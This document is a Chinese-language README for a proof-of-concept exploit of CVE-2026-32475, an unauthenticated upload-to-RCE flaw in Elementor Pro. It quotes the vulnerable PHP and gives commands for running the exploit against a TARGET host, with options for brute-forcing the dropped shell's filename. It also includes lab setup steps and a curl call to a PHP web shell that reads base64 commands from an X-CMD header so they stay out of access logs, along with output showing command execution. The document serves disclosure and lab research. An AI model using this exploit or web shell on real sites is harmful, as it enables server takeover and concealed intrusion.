
# CVE-2026-32475 的 PoC:Elementor Pro <=4.2.1 未认证文件上传导致 RCE。仅使用标准库的 Python。
| CVE | CVE-2026-32475 |
| CVSS | 9.0 严重 |
| CWE | CWE-434(危险类型文件的不受限上传) |
| 所需认证 | 无 |
| 受影响版本 | Elementor Pro ≤ 4.2.1 |
| 修复版本 | Elementor Pro 4.2.2(2026-08-19) |
| 报告者 | Tin Pham (TF1T),通过 Patchstack 漏洞赏金计划 |
未认证访客
│
▼
Elementor 表单页面(文件上传字段)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── 第 1 部分:空文件
│ └─► validation():UPLOAD_ERR_NO_FILE → return ◄── 校验在此处停止
│
└── 第 2 部分:shell.php
└─► 从未进行类型检查
│
▼
process_field():continue → 仍然移动 .php 载荷
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
GET 该 URL ⇒ RCE
表单模块分两次独立遍历处理每个上传条目,且两次循环的语义不同:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ 仅跳过该条目
return move_uploaded_file(...) ◄─ 移动其余条目
validation() 在遇到第一个错误为 UPLOAD_ERR_NO_FILE 的条目时即中止,因此紧随其后的 .php 条目永远不会被类型检查。process_field() 仅跳过该空条目,仍会将后续所有条目移动到公开的上传目录。校验器报告失败,而移动器继续执行——两个循环之间的失同步就是漏洞本身。
漏洞代码(modules/forms/fields/upload.php,≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← 中止整个循环
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← 仅跳过该条目
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // 攻击者控制的扩展名得以保留
move_uploaded_file( $file['tmp_name'], $new_file );
4.2.2 中的修复使两个循环保持一致——空条目不再提前终止校验,因此 .php 条目会被类型检查并拒绝。
post_id、form_id 和上传字段 ID。admin-ajax.php 发送两部分恶意 multipart POST(action=elementor_pro_forms_send_form)。<uniqid> 文件名空间恢复 shell URL(完整的 uniqid → 文件名映射见 analysis.md)。shell 从 X-CMD 请求标头(base64 解码)读取命令,而非查询字符串/POST 参数。这只是为了将命令传输与表单参数分离,并避免出现在常规访问日志的查询字符串中——与漏洞本身无关。
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
仅需 Python 3 标准库。调优参数:
| 参数 | 默认值 | 说明 |
|---|---|---|
--probe-seconds | 0.05 | 要扫描的 uniqid 微秒窗口(秒) |
--step-us | 2000 | 探测之间的微秒间隔 |
--workers | 24 | 并发探测线程数 |
--field-id | 自动 | 当上传字段自动发现失败时手动设置 |
关于慢速目标的说明: 探测阶段对目标可能造成较大负载(数千个请求)。在同时托管目标和攻击者的小型设备上,Web 服务器可能会丢弃并发提交——可运行 --probe-seconds 0 仅验证任意上传原语,然后在目标上直接定位并验证 wp-content/uploads/elementor/forms/ 下被丢弃的 .php 文件。
PoC 区分两个独立的里程碑:
任意上传原语 → PASS / FAIL
文件名恢复(uniqid) → PASS / PARTIAL
RCE 确认 → PASS(以上两项均成功)
退出码 0 表示完全确认 RCE。退出码 2 表示上传原语已验证,但在窗口内无法猜出文件名(请手动验证 wp-content/uploads/elementor/forms/ 下被丢弃的 .php 文件)。
参见 docker-compose.yml。完整步骤:
# 1) 启动 WordPress + MariaDB
docker compose up -d
# 等待约 30 秒让数据库就绪,然后安装 WordPress
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) 安装免费版 Elementor
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) 安装存在漏洞的 Elementor Pro(<= 4.2.1)。
# Elementor Pro 是付费插件——请先将合法获取的
# elementor-pro.zip(例如 4.2.1)放在 docker-compose.yml 旁边:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) 创建表单页面(PoC 仓库附带 setup_form_page.php):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) 运行 PoC
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
上传原语已确认——载荷以 <uniqid>.php 形式被丢弃:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
通过请求被丢弃的 shell 确认 RCE:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
将 Elementor Pro 更新至 4.2.2+。在此之前,请从公开表单中移除文件上传字段,或通过 WAF 规则限制表单提交。
仅供授权的安全研究和实验环境使用。